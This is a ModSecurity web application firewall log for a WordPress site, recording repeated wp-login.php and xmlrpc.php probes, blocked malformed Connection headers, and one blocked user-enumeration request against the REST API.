[Fri May 01 23:11:46.226044 2026] [:error] [pid 25085:tid 25112] [client 84.17.41.78:42870] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCsvuD8fWRiE0RX0EbGQAAAVU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:48.635210 2026] [:error] [pid 25320:tid 25343] [client 84.17.41.78:57140] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCtFc3wJ-3-XaXB3ooNQAAARQ"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:50.944179 2026] [:error] [pid 24996:tid 25032] [client 84.17.41.78:57156] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCtiDBq9mMfUWQQeqI3gAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:53.275175 2026] [:error] [pid 50214:tid 50220] [client 84.17.41.78:57160] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCuYs0pgrtfZkbhjN7igAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:55.628173 2026] [:error] [pid 24995:tid 25010] [client 84.17.41.78:57172] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCu-dJG9WB_Q_ne0vEGgAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:57.974032 2026] [:error] [pid 24995:tid 25021] [client 84.17.41.78:38608] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCvedJG9WB_Q_ne0vEGwAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:12:00.358893 2026] [:error] [pid 25320:tid 25332] [client 84.17.41.78:38622] [client 84.17.41.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.41.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTCwFc3wJ-3-XaXB3ooUwAAAQk"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 02 00:07:48.119042 2026] [:error] [pid 33791:tid 33806] [client 43.159.128.155:43358] [client 43.159.128.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afTP1G9ixd-moLycM9BSwwAAAAw"]
[Sat May 02 00:52:28.696901 2026] [:error] [pid 24997:tid 25052] [client 43.130.150.80:44044] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afTaTPOkHa4ScY5oo8z3mAAAAMI"]
[Sat May 02 01:06:05.144994 2026] [:error] [pid 50214:tid 50225] [client 78.46.197.51:53126] [client 78.46.197.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.197.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afTdfYs0pgrtfZkbhjOSCQAAAYc"]
[Sat May 02 02:41:51.716766 2026] [:error] [pid 24997:tid 25079] [client 93.47.117.82:49692] [client 93.47.117.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.47.117.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afTz7_OkHa4ScY5oo8wFlAAAANc"]
[Sat May 02 02:55:31.225515 2026] [:error] [pid 25320:tid 25331] [client 211.21.61.245:39934] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afT3I1c3wJ-3-XaXB3podwAAAQg"]
[Sat May 02 04:41:11.796393 2026] [:error] [pid 53434:tid 53458] [client 5.141.84.215:37730] [client 5.141.84.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.141.84.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afUP5-9BXmRQcbfsxly9vwAAAA8"]
[Sat May 02 05:45:22.476307 2026] [:error] [pid 53435:tid 53496] [client 185.12.237.12:52720] [client 185.12.237.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.12.237.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afUe8oDmp7_z8QkjSzMfzgAAAFg"]
[Sat May 02 06:26:04.283979 2026] [:error] [pid 53434:tid 53447] [client 159.203.177.184:46690] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afUofO9BXmRQcbfsxlzcxQAAAAQ"]
[Sat May 02 07:57:13.883738 2026] [:error] [pid 53436:tid 53513] [client 146.56.199.139:47688] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afU92a9N0xp8fccVM0CD9QAAAI4"]
[Sat May 02 08:04:54.249062 2026] [:error] [pid 53435:tid 53472] [client 163.172.207.222:64217] [client 163.172.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.172.207.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afU_poDmp7_z8QkjSzNKIgAAAEA"]
[Sat May 02 08:24:30.092940 2026] [:error] [pid 11894:tid 11916] [client 67.205.159.76:63232] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afVEPjHh6DQF1tkXIKx9BQAAAVM"]
[Sat May 02 08:32:06.784673 2026] [:error] [pid 53436:tid 53511] [client 5.141.84.215:56932] [client 5.141.84.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.141.84.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afVGBq9N0xp8fccVM0CLPQAAAIw"]
[Sat May 02 08:52:00.415646 2026] [:error] [pid 53435:tid 53488] [client 43.164.194.198:36408] [client 43.164.194.198] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afVKsIDmp7_z8QkjSzNXgAAAAFA"]
[Sat May 02 09:22:51.504729 2026] [:error] [pid 21339:tid 21362] [client 39.100.88.232:46258] [client 39.100.88.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.100.88.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afVR6wN2KhHZavn0Te1qHAAAAZU"]
[Sat May 02 11:29:31.621439 2026] [:error] [pid 52010:tid 52060] [client 88.208.196.137:32878] [client 88.208.196.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.208.196.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afVvmwiR6wohDtdeJMCV9gAAAtE"]
[Sat May 02 14:48:26.594633 2026] [:error] [pid 53434:tid 53462] [client 137.184.237.108:48968] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWeOu9BXmRQcbfsxlxSmQAAABM"]
[Sat May 02 14:54:35.910882 2026] [:error] [pid 51917:tid 51931] [client 35.226.125.165:39410] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWfq67wZviJ7BgcCi8hEwAAAcw"]
[Sat May 02 15:12:15.427970 2026] [:error] [pid 51950:tid 51990] [client 43.159.149.56:55390] [client 43.159.149.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afWjz4oBJzYZ3RKUhdgQfQAAAko"]
[Sat May 02 15:18:34.692902 2026] [:error] [pid 53436:tid 53499] [client 124.29.253.191:60141] [client 124.29.253.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.253.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWlSq9N0xp8fccVM0C2DgAAAIA"]
[Sat May 02 15:22:15.451627 2026] [:error] [pid 53436:tid 53513] [client 124.29.253.191:59919] [client 124.29.253.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.253.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWmJ69N0xp8fccVM0C2WgAAAI4"]
[Sat May 02 15:26:37.890658 2026] [:error] [pid 52010:tid 52045] [client 124.29.253.191:60478] [client 124.29.253.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.253.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWnLQiR6wohDtdeJMDGyQAAAsI"]
[Sat May 02 15:28:02.022708 2026] [:error] [pid 52010:tid 52051] [client 124.29.253.191:60057] [client 124.29.253.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.253.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWnggiR6wohDtdeJMDHQQAAAsg"]
[Sat May 02 15:29:36.795209 2026] [:error] [pid 51917:tid 51921] [client 124.29.253.191:60351] [client 124.29.253.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.29.253.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWn4K7wZviJ7BgcCi8liQAAAcI"]
[Sat May 02 15:52:02.543157 2026] [:error] [pid 11894:tid 11898] [client 43.157.168.43:47656] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afWtIjHh6DQF1tkXIKy2yQAAAUE"]
[Sat May 02 16:08:53.528350 2026] [:error] [pid 52010:tid 52049] [client 51.91.58.113:57864] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afWxFQiR6wohDtdeJMDXUgAAAsY"]
[Sat May 02 16:33:51.321820 2026] [:error] [pid 53434:tid 53460] [client 165.73.182.67:9550] [client 165.73.182.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.73.182.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW27-9BXmRQcbfsxlxpygAAABE"]
[Sat May 02 16:34:00.747035 2026] [:error] [pid 52012:tid 52094] [client 165.73.182.67:26284] [client 165.73.182.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.73.182.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW2-EzSWr-8cpS83mhk_AAAA1E"]
[Sat May 02 16:34:11.097206 2026] [:error] [pid 51950:tid 51993] [client 165.73.182.67:37785] [client 165.73.182.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.73.182.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW3A4oBJzYZ3RKUhdgrzAAAAk0"]
[Sat May 02 16:34:21.524654 2026] [:error] [pid 53436:tid 53500] [client 165.73.182.67:1207] [client 165.73.182.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.73.182.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW3Da9N0xp8fccVM0DAagAAAIE"]
[Sat May 02 16:34:33.152917 2026] [:error] [pid 51950:tid 51996] [client 165.73.182.67:43973] [client 165.73.182.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.73.182.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW3GYoBJzYZ3RKUhdgr8QAAAlA"]
[Sat May 02 16:48:40.242746 2026] [:error] [pid 53434:tid 53447] [client 23.239.25.95:43604] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW6aO9BXmRQcbfsxlxsDwAAAAQ"]
[Sat May 02 17:08:57.594576 2026] [:error] [pid 52012:tid 52099] [client 164.132.49.123:60780] [client 164.132.49.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.49.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afW_KUzSWr-8cpS83mhnLwAAA1Y"]
[Sat May 02 17:17:14.263266 2026] [:error] [pid 53436:tid 53519] [client 209.141.54.177:56021] [client 209.141.54.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.54.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afXBGq9N0xp8fccVM0DELAAAAJQ"]
[Sat May 02 17:17:15.578294 2026] [:error] [pid 53436:tid 53513] [client 209.141.54.177:56021] [client 209.141.54.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.54.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afXBG69N0xp8fccVM0DELwAAAI4"]
[Sat May 02 18:07:37.353449 2026] [:error] [pid 22846:tid 22857] [client 128.199.223.38:53818] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXM6Ym1Ms03Mfhp3abzWAAAAQk"]
[Sat May 02 18:33:23.184428 2026] [:error] [pid 53436:tid 53523] [client 212.72.184.247:46314] [client 212.72.184.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.72.184.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXS869N0xp8fccVM0DJtAAAAJg"]
[Sat May 02 19:30:45.445287 2026] [:error] [pid 51950:tid 51993] [client 67.205.159.76:41314] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXgZYoBJzYZ3RKUhdhLGQAAAk0"]
[Sat May 02 19:46:24.111806 2026] [:error] [pid 52010:tid 52050] [client 36.70.36.31:60297] [client 36.70.36.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.70.36.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXkEAiR6wohDtdeJMAaSgAAAsc"]
[Sat May 02 19:48:57.128461 2026] [:error] [pid 11894:tid 11919] [client 36.70.36.31:64782] [client 36.70.36.31] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afXkqTHh6DQF1tkXIKzUlwAAAVY"]
[Sat May 02 19:49:38.082451 2026] [:error] [pid 51950:tid 51981] [client 36.70.36.31:65442] [client 36.70.36.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.70.36.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXk0ooBJzYZ3RKUhdhOsAAAAkE"]
[Sat May 02 20:20:06.989548 2026] [:error] [pid 51950:tid 52002] [client 43.153.86.78:42910] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afXr9ooBJzYZ3RKUhdhTLgAAAlY"]
[Sat May 02 20:22:30.190995 2026] [:error] [pid 51917:tid 51941] [client 78.46.193.134:57710] [client 78.46.193.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.193.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXshq7wZviJ7BgcCi9LsgAAAdY"]
[Sat May 02 20:53:46.386693 2026] [:error] [pid 51950:tid 51998] [client 155.133.132.65:61390] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afXz2ooBJzYZ3RKUhdhY9wAAAlI"]
[Sat May 02 20:55:58.021936 2026] [:error] [pid 51917:tid 51943] [client 45.233.148.131:38294] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX0Xq7wZviJ7BgcCi9POAAAAdg"]
[Sat May 02 21:16:51.928177 2026] [:error] [pid 51950:tid 52004] [client 62.146.178.134:17976] [client 62.146.178.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.178.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX5Q4oBJzYZ3RKUhdhcZgAAAlg"]
[Sat May 02 21:27:09.773573 2026] [:error] [pid 22846:tid 22855] [client 103.191.122.122:39075] [client 103.191.122.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX7rYm1Ms03Mfhp3aYALwAAAQc"]
[Sat May 02 21:27:19.619363 2026] [:error] [pid 53435:tid 53483] [client 103.191.122.122:39381] [client 103.191.122.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX7t4Dmp7_z8QkjSzPJcwAAAEs"]
